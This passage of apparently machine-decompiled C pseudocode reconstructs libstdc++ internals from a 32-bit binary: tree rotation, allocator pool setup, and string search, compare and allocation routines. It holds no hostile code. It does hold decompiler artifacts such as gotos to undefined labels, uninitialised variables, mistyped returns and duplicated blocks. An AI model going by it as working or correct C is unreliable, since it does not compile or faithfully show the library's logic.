v33 = v36;
// branch -> 0x8098608
}
lab_0x64679c0:
// 0x8098608
*(int32_t *)v33 = 1;
*(int32_t *)v24 = 0;
std___Rb_tree_rotate_left((int32_t *)v24, (int32_t **)v5, &a2->e0, a3);
v7 = (int32_t *)0x8098623;
// branch -> 0x80985ac
goto lab_0x6462a40;
}
// 0x8098603
if (v15 == *(int32_t *)(v18 + 8)) {
goto lab_0x64668e0;
}
v33 = v18;
goto lab_0x64679c0;
}
// 0x80985cd
*v19 = 1;
v16->e0 = 1;
int32_t v37 = v24; // 0x80985d9
*(int32_t *)v37 = 0;
v17 = v24;
v2 = v17;
v27 = v14;
if (v17 == v27) {
v21 = v17;
v22 = v16;
// break -> 0x80985e5
break;
}
v15 = v17;
v13 = v27;
v8 = v16;
// continue -> 0x80985b0
continue;
}
// 0x80985e5
// branch -> 0x80985e5
// 0x80985e5
*(int32_t *)v21 = 1;
g100 = (int32_t)v10;
return (int32_t)v22;
}
// 0x80985e5
// branch -> 0x80985e5
// 0x80985e5
*(int32_t *)v17 = 1;
g100 = (int32_t)v10;
return (int32_t)v16;
}
} else {
// 0x8098595
*(int32_t *)(v6 + 8) = v2;
if (v3 == v6) {
// 0x8098677
*(int32_t *)v4 = v2;
*(int32_t *)(v6 + 12) = v2;
v14 = v2;
// branch -> 0x80985ac
} else {
// 0x80985a0
if (v6 == (int32_t)a4->e2) {
// 0x8098684
a4->e2 = (int32_t *)v2;
v14 = a4->e1;
// branch -> 0x80985ac
} else {
// 0x80985a9
v14 = a4->e1;
// branch -> 0x80985ac
}
// 0x80985ac
v12 = v2;
if (v12 == v14) {
// 0x80985e5
*(int32_t *)v14 = 1;
g100 = (int32_t)v1;
return (int32_t)a4;
}
v10 = v1;
while (true) {
// 0x80985b0
v15 = v12;
v13 = v14;
v8 = a4;
// branch -> 0x80985b0
goto lab_0x14069e80;
}
}
// 0x80985ac
v12 = v2;
if (v12 == v14) {
// 0x80985e5
*(int32_t *)v14 = 1;
g100 = (int32_t)v1;
return (int32_t)a4;
}
v10 = v1;
while (true) {
// 0x80985b0
v15 = v12;
v13 = v14;
v8 = a4;
// branch -> 0x80985b0
goto lab_0x14069e80;
}
}
if (v12 == v14) {
lab_0x6477010:
// 0x80985e5
*(int32_t *)v9 = 1;
g100 = (int32_t)v7;
return (int32_t)v5;
}
lab_0x6478430:
while (true) {
// 0x80985b0
v15 = v11;
v13 = v9;
v8 = v5;
// branch -> 0x80985b0
goto lab_0x14069e80;
}
}
// Address range: 0x80989ec - 0x80989f1
void std__allocator_lt_char_gt_(void) {
// 0x80989ec
return;
}
// Address range: 0x80989fe - 0x8098a03
void std__allocator_lt_char_gt__593(void) {
// 0x80989fe
return;
}
// Address range: 0x8098b74 - 0x8098c27
int32_t std__allocator_lt_char_gt__596(int32_t a1) {
int32_t v1 = g100; // 0x8098b74
if (g27 != 0) {
// 0x8098b83
g100 = v1;
return 0;
}
int32_t v2 = 0x8132c08;
if (__cxa_guard_acquire((char *)&v2, 0, v1, 0, a1, 0, 0, 0, 0) == 0) {
// 0x8098b83
g100 = v1;
return 0;
}
// 0x8098b95
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v2 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
g100 = v1;
__cxa_guard_release((struct struct_59 *)&v2);
return g95;
}
// Address range: 0x8098ce4 - 0x8098d97
int32_t std__allocator_lt_char_gt__598(int32_t a1) {
int32_t v1 = g100; // 0x8098ce4
if (g27 != 0) {
// 0x8098cf3
g100 = v1;
return 0;
}
int32_t v2 = 0x8132c08;
if (__cxa_guard_acquire((char *)&v2, 0, v1, 0, a1, 0, 0, 0, 0) == 0) {
// 0x8098cf3
g100 = v1;
return 0;
}
// 0x8098d05
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v2 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
g100 = v1;
__cxa_guard_release((struct struct_59 *)&v2);
return g95;
}
// Address range: 0x8098d9c - 0x8098e4f
int32_t std__allocator_lt_char_gt__599(int32_t a1) {
int32_t v1 = g100; // 0x8098d9c
if (g27 != 0) {
// 0x8098dab
g100 = v1;
return 0;
}
int32_t v2 = 0x8132c08;
if (__cxa_guard_acquire((char *)&v2, 0, v1, 0, a1, 0, 0, 0, 0) == 0) {
// 0x8098dab
g100 = v1;
return 0;
}
// 0x8098dbd
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v2 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
g100 = v1;
__cxa_guard_release((struct struct_59 *)&v2);
return g95;
}
// Address range: 0x8098fd6 - 0x8098feb
void std__char_traits_lt_char_gt___eq(void) {
// 0x8098fd6
return;
}
// Address range: 0x8099070 - 0x809916d
int32_t _ZSt6searchIPKcS1_PFbRS0_S2_EET_S5_S5_T0_S6_T1_(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t * a10, int32_t a11, int32_t a12) {
int32_t v1 = g102; // 0x8099073
int32_t v2 = g101; // 0x8099074
int32_t v3 = g98; // 0x8099075
g98 = a1;
g102 = a2;
int32_t v4 = g97 & -256 | (int32_t)(a1 == a2); // 0x8099081
g97 = v4;
int32_t result; // 0x80990bd
if (v4 != ((int32_t)(a3 == a4) || a4 & -256)) {
// 0x80990bd
result = g98;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
int32_t v5 = a3 + 1; // 0x8099094
g95 = v5;
if (v5 == a4) {
// 0x80990eb
g101 = a2;
g1 = false;
g103 = a1 == a2 == false;
if (v4 == 0) {
int32_t v6 = a1; // 0x80990f8
// branch -> 0x80990f1
while (true) {
// 0x80990f1
g97 = a3;
((int32_t (*)(int32_t, int32_t))a5)(v6, a3);
if (g95 == 0) {
int32_t v7 = g98 + 1; // 0x8099102
g98 = v7;
uint32_t v8 = g101; // 0x8099105
g1 = v8 < v7;
g103 = v8 == v7;
if (v8 == v7) {
// break -> 0x80990bd
break;
}
v6 = v7;
// continue -> 0x80990f1
continue;
}
}
// 0x80990bd
result = g98;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
} else {
// 0x809909f
g1 = a1 < a2;
g103 = a1 == a2;
if (a1 != a2) {
int32_t (*v9)(int32_t, int32_t) = (int32_t (*)(int32_t, int32_t))a5; // 0x80990af_4
// branch -> 0x80990a3
while (true) {
lab_0x64a2000:
// 0x80990a3
g101 = a2;
int32_t v10 = a1; // 0x80990ac
// branch -> 0x80990a5
while (true) {
// 0x80990a5
g95 = a3;
v9(v10, a3);
int32_t v11 = g95; // 0x80990b2
g1 = false;
g103 = 0x1000000 * v11 == 0;
if (v11 == 0) {
int32_t v12 = g98 + 1; // 0x80990b6
g98 = v12;
uint32_t v13 = g101; // 0x80990b9
g1 = v12 < v13;
g103 = v12 == v13;
if (v12 == v13) {
// break -> 0x80990bd
break;
}
v10 = v12;
// continue -> 0x80990a5
continue;
} else {
// 0x80990c7
g101 = g102;
int32_t v14 = g98; // 0x80990d0
// branch -> 0x80990c9
while (true) {
// 0x80990c9
g97 = a3;
v9(v14, a3);
if (g95 != 0) {
int32_t v15 = g102; // 0x809910b
int32_t v16 = g98; // 0x809910b
if (v15 == v16) {
// 0x80990bd
result = g98;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
int32_t v17 = v16 + 1; // 0x8099112
if (v15 == v17) {
// 0x809915d
g98 = v15;
// branch -> 0x80990bd
// 0x80990bd
result = g98;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
// 0x809911c
g101 = v5;
uint32_t v18 = v15 - v17 + v5; // 0x809912a
g1 = v17 < v5;
int32_t v19 = v17 - v5; // 0x8099133
g103 = v17 == v5;
// branch -> 0x8099138
while (true) {
// 0x8099138
g97 = v19;
int32_t v20 = v5 + v19; // 0x809913f
g95 = v20;
((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t))a5)(v20, v5, 0, 0, 0);
int32_t v21 = g95; // 0x8099148
g1 = false;
g103 = 0x1000000 * v21 == 0;
if (v21 == 0) {
// 0x8099165
g98 = v17;
a1 = v17;
a2 = g102;
// branch -> 0x80990a3
goto lab_0x64a2000;
} else {
int32_t v22 = g101 + 1; // 0x809914c
g101 = v22;
if (v22 != a4) {
// 0x8099158
g1 = v18 < v22;
g103 = v18 == v22;
if (v18 == v22) {
// break -> 0x809915d
break;
}
v5 = v22;
// continue -> 0x8099138
continue;
}
}
// 0x80990bd
result = g98;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
// 0x809915d
// branch -> 0x809915d
// 0x809915d
g98 = g102;
// branch -> 0x80990bd
// 0x80990bd
result = g98;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
int32_t v23 = g98 + 1; // 0x80990da
g98 = v23;
uint32_t v24 = g101; // 0x80990dd
g1 = v23 < v24;
g103 = v23 == v24;
if (v23 == v24) {
// break -> 0x80990e1
break;
}
v14 = v23;
// continue -> 0x80990c9
}
}
// 0x80990bd
result = g98;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
}
}
}
// 0x80990bd
result = g98;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
// Address range: 0x809918a - 0x8099193
int32_t std__string__c_str(int32_t * a1) {
// 0x809918a
g95 = (int32_t)a1;
return *a1;
}
// Address range: 0x809919e - 0x80991ab
int32_t std__string__size(int32_t * a1) {
// 0x809919e
return *(int32_t *)(*a1 - 12);
}
// Address range: 0x80991ac - 0x80991b9
int32_t std__string__length(int32_t * a1) {
// 0x80991ac
return *(int32_t *)(*a1 - 12);
}
// Address range: 0x8099218 - 0x809922d
int32_t std__string__empty(int32_t * a1) {
// 0x8099218
return *(int32_t *)(*a1 - 12) == 0;
}
// Address range: 0x8099252 - 0x80992c3
int32_t std__string__find(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9) {
int32_t v1 = g102; // bp-8
int32_t v2 = g101; // 0x8099256
int32_t v3 = g98; // 0x8099257
g96 = a2;
g102 = a4;
int32_t v4 = *a1; // 0x8099264
g101 = v4;
uint32_t v5 = *(int32_t *)(v4 - 12); // 0x8099266
g97 = v5;
int32_t v6 = a4 + a3; // 0x809926c
g95 = v6;
if (v5 < v6) {
// 0x80992b6
g98 = a7;
g101 = a8;
return -1;
}
int32_t v7 = v5 + v4; // 0x8099272
g98 = v7;
g97 = a3;
int32_t v8;
int32_t v9 = _ZSt6searchIPKcS1_PFbRS0_S2_EET_S5_S5_T0_S6_T1_(v4 + a3, v7, a2, a4 + a2, (int32_t)std__char_traits_lt_char_gt___eq, 0, 0, v3, v2, &v1, g100, v8); // 0x8099295
int32_t v10 = ((int32_t)(g98 == v9) | g97 & -256) ^ 1; // 0x809929e
int32_t v11 = g102 == 0; // 0x80992a3
int32_t v12 = v11 | v9 & -256; // 0x80992a3
g95 = v12;
g97 = v11 | v10;
if (v12 == v10) {
// 0x8099272
// branch -> 0x80992b6
// 0x80992b6
g98 = a7;
g101 = a8;
return -1;
}
// 0x80992aa
g95 = v9;
int32_t v13 = g101; // 0x80992ac
g98 = v3;
g101 = v2;
return v9 - v13;
}
// Address range: 0x8099448 - 0x809949f
int32_t std__string__rfind(int32_t * a1, char a2, int32_t a3, int32_t a4) {
int32_t v1 = g100; // 0x8099448
int32_t v2 = g102; // 0x809944b
int32_t v3 = g101; // 0x809944c
int32_t v4 = g98; // 0x809944d
int32_t v5 = (int32_t)a1; // 0x8099455
int32_t v6 = *a1; // 0x8099458
int32_t v7 = *(int32_t *)(v6 - 12); // 0x809945a
int32_t v8;
if (v7 == 0) {
// 0x8099494
g98 = v8;
g101 = v5;
g102 = a2;
g100 = a3;
return -1;
}
int32_t v9 = v7 - 1; // 0x8099461
int32_t v10 = v9; // 0x8099468
if (v9 > a3) {
// 0x8099490
v10 = a3;
// branch -> 0x8099468
}
int32_t v11 = v10 + 1; // 0x8099468
int32_t v12 = v11 + v6; // 0x809947c
// branch -> 0x8099475
int32_t result; // 0x8099475
while (true) {
// 0x8099475
result = v11 - 1;
if (v11 == 0) {
// 0x8099494
g98 = v8;
g101 = v5;
g102 = a2;
g100 = a3;
return -1;
}
int32_t v13 = v12 - 1; // 0x809947c
if (*(char *)v13 == a2) {
// break -> 0x8099489
break;
}
v12 = v13;
v11 = result;
// continue -> 0x8099475
}
// 0x8099489
g98 = v4;
g101 = v3;
g102 = v2;
g100 = v1;
return result;
}
// Address range: 0x8099610 - 0x8099667
int32_t std__string__compare(int32_t * a1, int32_t * a2) {
int32_t v1 = *a1; // 0x809961c
int32_t v2 = v1; // bp-40
int32_t n = *(int32_t *)(v1 - 12); // 0x8099621
strncmp((char *)&v2, (char *)*a2, n);
int32_t v3;
return &v3;
}
// Address range: 0x8099882 - 0x80998bd
int32_t std__string__find_616(int32_t a1, int32_t a2, int32_t a3) {
int32_t v1 = g100; // 0x8099882
int32_t v2 = g102; // 0x8099885
int32_t len = strlen((char *)a2); // 0x8099896
int32_t v3 = a1; // bp-28
int32_t v4;
int32_t result = std__string__find(&v3, a2, a3, len, 0, v2, v1, v4, a1); // 0x80998b2
g102 = v2;
g100 = v1;
return result;
}
// Address range: 0x8099e82 - 0x809a01f
int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(int32_t * a1) {
int32_t v1 = g100; // 0x8099e82
int32_t v2 = (int32_t)a1; // 0x8099eae
int32_t v3;
if (g27 == 0) {
// 0x8099ea7
int32_t v4;
if (__cxa_guard_acquire((char *)0x8132c08, v4, 0, 0, 0, 0, v1, 0, v2) != 0) {
// 0x8099f82
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
__cxa_guard_release((struct struct_59 *)&g27);
v4 = 0x8132c08;
// branch -> 0x8099ec2
}
// 0x8099ec2
if (g27 == 0) {
// 0x8099ec6
if (__cxa_guard_acquire((char *)0x8132c08, v4, 0, 0, 0, 0, v1, 0, v2) == 0) {
// 0x8099e91
*a1 = 0x8134ee8;
std__allocator_lt_char_gt_();
g100 = v1;
return &v3;
}
// 0x8099ed6
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
__cxa_guard_release((struct struct_59 *)&g27);
*a1 = 0x8134ee8;
std__allocator_lt_char_gt_();
g100 = v1;
return &v3;
}
}
// 0x8099e91
*a1 = 0x8134ee8;
std__allocator_lt_char_gt_();
g100 = v1;
return &v3;
}
// Address range: 0x809a1c6 - 0x809a347
int32_t std__string___Rep___S_create(int32_t * a1, int32_t * a2) {
int32_t * v1 = (int32_t *)g100; // 0x809a1c6_0
int32_t v2 = g102; // 0x809a1c9
int32_t v3 = g101; // 0x809a1ca
int32_t v4 = g98; // 0x809a1cb
int32_t v5 = (int32_t)a1; // 0x809a1cf
g101 = v5;
int32_t v6 = (int32_t)a2; // 0x809a1d2
g98 = v6;
int32_t v7;
if (a1 > (int32_t *)0x3ffffffc) {
// 0x809a329
v7 = (int32_t)"basic_string::_S_create";
std____throw_length_error("basic_string::_S_create", v5, v6, 0);
std__allocator_lt_char_gt_();
v7 = g98;
_Unwind_Resume(&v7, a1, a2);
return g95;
}
int32_t v8 = v5; // 0x809a250
if (a1 > a2) {
int32_t v9 = 2 * v6; // 0x809a1e5
if (v5 < v9) {
// 0x809a1ec
g101 = v9;
v8 = v9;
// branch -> 0x809a1ee
} else {
v8 = v5;
}
}
uint32_t v10 = v8 + 29; // 0x809a1f4
g96 = v10;
int32_t * v11; // 0x809a321_05
int32_t result;
int32_t v12; // 0x809a227
int32_t * v13;
int32_t * v14;
if (((int32_t)(v10 < 0x1001) || g97 & -256) == 1) {
// 0x809a209
v11 = (int32_t *)(v8 + 13);
if (g27 != 0) {
// 0x809a212
v12 = __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(v13, v11);
result = v12;
std__allocator_lt_char_gt_();
*(int32_t *)(result + 4) = g101;
g98 = v4;
g101 = v3;
g102 = v2;
g100 = (int32_t)v1;
return result;
}
// 0x809a273
v7 = 0x8132c08;
if (__cxa_guard_acquire((char *)&v7, v5, v6, 0, 0, 0, 0, 0, 0) != 0) {
// 0x809a283
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v7 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v7 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
v14 = (int32_t *)0x809a319;
// branch -> 0x809a212
} else {
v14 = (int32_t *)0x809a27f;
}
// 0x809a212
v12 = __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(v13, v11);
result = v12;
std__allocator_lt_char_gt_();
*(int32_t *)(result + 4) = g101;
g98 = v4;
g101 = v3;
g102 = v2;
g100 = (int32_t)v14;
return result;
}
int32_t v15 = v10 % 0x1000; // 0x809a243
g96 = v15;
int32_t v16 = 0x1000 - v15 + v8; // 0x809a250
g101 = v16;
int32_t * v17; // 0x809a321_04
if (v16 < 0x3ffffffd) {
// 0x809a31e
// branch -> 0x809a209
// 0x809a209
v11 = (int32_t *)(v16 + 13);
if (g27 != 0) {
// 0x809a212
v12 = __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(v13, v11);
result = v12;
std__allocator_lt_char_gt_();
*(int32_t *)(result + 4) = g101;
g98 = v4;
g101 = v3;
g102 = v2;
g100 = (int32_t)v1;
return result;
}
v17 = v11;
} else {
// 0x809a25e
g101 = 0x3ffffffc;
if (g27 != 0) {
// 0x809a212
v12 = __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(v13, (int32_t *)0x40000009);
result = v12;
std__allocator_lt_char_gt_();
*(int32_t *)(result + 4) = g101;
g98 = v4;
g101 = v3;
g102 = v2;
g100 = (int32_t)v1;
return result;
}
v17 = (int32_t *)0x40000009;
}
// 0x809a273
v7 = 0x8132c08;
if (__cxa_guard_acquire((char *)&v7, v5, v6, 0, 0, 0, 0, 0, 0) != 0) {
// 0x809a283
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v7 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v7 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
v14 = (int32_t *)0x809a319;
// branch -> 0x809a212
} else {
v14 = (int32_t *)0x809a27f;
}
// 0x809a212
v12 = __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(v13, v17);
result = v12;
std__allocator_lt_char_gt_();
*(int32_t *)(result + 4) = g101;
g98 = v4;
g101 = v3;
g102 = v2;
g100 = (int32_t)v14;
return result;
}
// Address range: 0x809a348 - 0x809a3cf
int32_t std__string___Rep___M_clone(struct struct_98 * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7) {
int32_t v1 = g100; // 0x809a348
int32_t v2 = g102; // 0x809a34b
int32_t v3 = g101; // 0x809a34c
g102 = (int32_t)a1;
int32_t * v4 = a1->e1; // 0x809a35e
g97 = (int32_t)v4;
int32_t v5 = std__string___Rep___S_create(&((struct struct_97 *)(a1->e0 + a3))->e0, v4); // 0x809a36a
struct struct_97 * v6 = (struct struct_97 *)v5; // 0x809a36a_6
int32_t v7 = *(int32_t *)g102; // 0x809a371
int32_t v8 = v7;
int32_t v9 = v5 + 12; // 0x809a373
int32_t result = v9;
if (v7 == 0) {
// 0x809a397
v6->e2 = 0;
*(int32_t *)v5 = v8;
*(char *)(result + v8) = 0;
g101 = v3;
g102 = v2;
g100 = v1;
return result;
}
// 0x809a37a
result = v9;
int32_t v10 = g102 + 12; // 0x809a37d
if (v7 == 1) {
// 0x809a3ae
*(char *)v9 = a1->e3;
v8 = *(int32_t *)g102;
v6->e2 = 0;
*(int32_t *)v5 = v8;
*(char *)(result + v8) = 0;
g101 = a4;
g102 = a5;
g100 = a6;
return result;
}
// 0x809a385
memcpy(&((struct struct_97 *)v9)->e0, &((struct struct_98 *)v10)->e0, v7);
v8 = *(int32_t *)g102;
// branch -> 0x809a397
// 0x809a397
v6->e2 = 0;
*(int32_t *)v5 = v8;
*(char *)(result + v8) = 0;
g101 = v3;
g102 = v2;
g100 = v1;
return result;
}
// Address range: 0x809ada2 - 0x809b15f
int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(int32_t * a1, int32_t * a2) {
int32_t v1 = g100; // 0x809ada2
int32_t v2 = g101; // 0x809ada5
int32_t v3 = g98; // 0x809ada6
int32_t v4; // 0x809ae12
int32_t v5; // 0x809afbd
int32_t v6;
int32_t v7;
int32_t v8;
int32_t * v9;
int32_t * v10;
int32_t * v11;
int32_t * v12;
int32_t v13; // 0x809adba
int32_t v14; // 0x809adbc
int32_t v15; // 0x809adbf
int32_t v16; // 0x809adbf
if (g27 == 0) {
// 0x809aeb6
v6 = 0x8132c08;
int32_t v17 = (int32_t)a1; // 0x809aebd
int32_t v18 = (int32_t)a2; // 0x809aebd
int32_t v19 = __cxa_guard_acquire((char *)&v6, v17, v18, 0, 0, 0, 0, 0, 0); // 0x809aebd
int32_t * v20 = (int32_t *)0x809aec2;
if (v19 != 0) {
// 0x809b06b
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v6 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v6 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
v20 = (int32_t *)0x809b101;
// branch -> 0x809aed1
}
// 0x809aed1
if (g27 == 0) {
// 0x809aed9
v6 = 0x8132c08;
int32_t v21 = __cxa_guard_acquire((char *)&v6, v17, v18, 0, 0, 0, 0, 0, 0); // 0x809aee0
int32_t * v22 = (int32_t *)0x809aee5;
if (v21 != 0) {
// 0x809afc9
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v6 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v6 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
v22 = (int32_t *)0x809b05f;
// branch -> 0x809aef4
}
// 0x809aef4
if (g27 == 0) {
// 0x809aefc
v6 = 0x8132c08;
if (__cxa_guard_acquire((char *)&v6, v17, v18, 0, 0, 0, 0, 0, 0) != 0) {
// 0x809af10
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v6 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v6 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
v9 = (int32_t *)0x809afa6;
// branch -> 0x809adb7
} else {
v9 = (int32_t *)0x809af08;
}
// 0x809adb7
v13 = *a2;
g98 = v13;
v14 = v13 - 12;
v15 = v13 - 4;
v16 = *(int32_t *)v15;
g101 = v16;
int32_t * v23;
if (v16 < 0) {
// 0x809afab
v6 = v14;
v5 = std__string___Rep___M_clone((struct struct_98 *)&v6, v7, (int32_t)g2, 0, 0, 0, 0);
g98 = v5;
v23 = NULL;
v10 = a1;
v11 = (int32_t *)0x809afc2;
// branch -> 0x809add8
} else {
// 0x809adca
if (v14 != 0x8134edc) {
// 0x809b10d
v6 = v15;
__gnu_cxx____atomic_add(&v6, 1);
v23 = a2;
v10 = (int32_t *)1;
v11 = (int32_t *)0x809b120;
// branch -> 0x809add8
} else {
v23 = a2;
v10 = a1;
v11 = v9;
}
}
// 0x809add8
v12 = v11;
if (g27 == 0) {
// 0x809ae0b
v6 = 0x8132c08;
v4 = __cxa_guard_acquire((char *)&v6, v7, (int32_t)v23, 0, 0, 0, 0, 0, 0);
if (v4 != 0) {
// 0x809ae1b
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v6 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v6 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
v12 = (int32_t *)0x809aeb1;
// branch -> 0x809ade1
} else {
v12 = (int32_t *)0x809ae17;
}
}
// 0x809ade1
*v10 = g98;
std__allocator_lt_char_gt_();
std__allocator_lt_char_gt_();
std__allocator_lt_char_gt_();
g98 = v3;
g101 = v2;
g100 = (int32_t)v12;
return &v8;
}
v9 = v22;
} else {
v9 = v20;
}
} else {
// 0x809ada2
v9 = (int32_t *)v1;
// branch -> 0x809adb7
}
// 0x809adb7
v13 = *a2;
g98 = v13;
v14 = v13 - 12;
v15 = v13 - 4;
v16 = *(int32_t *)v15;
g101 = v16;
if (v16 >= 0) {
// 0x809adca
if (v14 != 0x8134edc) {
// 0x809b10d
v6 = v15;
__gnu_cxx____atomic_add(&v6, 1);
v10 = (int32_t *)1;
v11 = (int32_t *)0x809b120;
// branch -> 0x809add8
} else {
v10 = a1;
v11 = v9;
}
// 0x809add8
v12 = v11;
if (g27 == 0) {
// 0x809ae0b
v6 = 0x8132c08;
v4 = __cxa_guard_acquire((char *)&v6, v7, (int32_t)a2, 0, 0, 0, 0, 0, 0);
if (v4 != 0) {
// 0x809ae1b
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v6 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v6 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
v12 = (int32_t *)0x809aeb1;
// branch -> 0x809ade1
} else {
v12 = (int32_t *)0x809ae17;
}
}
// 0x809ade1
*v10 = g98;
std__allocator_lt_char_gt_();
std__allocator_lt_char_gt_();
std__allocator_lt_char_gt_();
g98 = v3;
g101 = v2;
g100 = (int32_t)v12;
return &v8;
}
// 0x809afab
v6 = v14;
v5 = std__string___Rep___M_clone((struct struct_98 *)&v6, v7, (int32_t)g2, 0, 0, 0, 0);
g98 = v5;
v10 = a1;
// branch -> 0x809add8
// 0x809add8
if (g27 != 0) {
// 0x809ade1
*v10 = g98;
std__allocator_lt_char_gt_();
std__allocator_lt_char_gt_();
std__allocator_lt_char_gt_();
g98 = v3;
g101 = v2;
g100 = (int32_t)(int32_t *)0x809afc2;
return &v8;
}
// 0x809ae0b
v6 = 0x8132c08;
v4 = __cxa_guard_acquire((char *)&v6, v7, (int32_t)NULL, 0, 0, 0, 0, 0, 0);
if (v4 != 0) {
// 0x809ae1b
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v6 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v6 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
v12 = (int32_t *)0x809aeb1;
// branch -> 0x809ade1
} else {
v12 = (int32_t *)0x809ae17;
}
// 0x809ade1
*v10 = g98;
std__allocator_lt_char_gt_();
std__allocator_lt_char_gt_();
std__allocator_lt_char_gt_();
g98 = v3;
g101 = v2;
g100 = (int32_t)v12;
return &v8;
}
// Address range: 0x809b2f4 - 0x809b3f9
int32_t std__string___Rep___M_destroy(int32_t * a1) {
struct struct_3 * v1 = NULL; // bp-17
int32_t (*v2)(char *, char *, int32_t *, int32_t, int32_t, int32_t, int32_t, int32_t) = (int32_t (*)(char *, char *, int32_t *, int32_t, int32_t, int32_t, int32_t, int32_t))g100; // 0x809b2f4_0
int32_t v3 = g102; // 0x809b2f7
int32_t v4 = g98; // 0x809b2f9
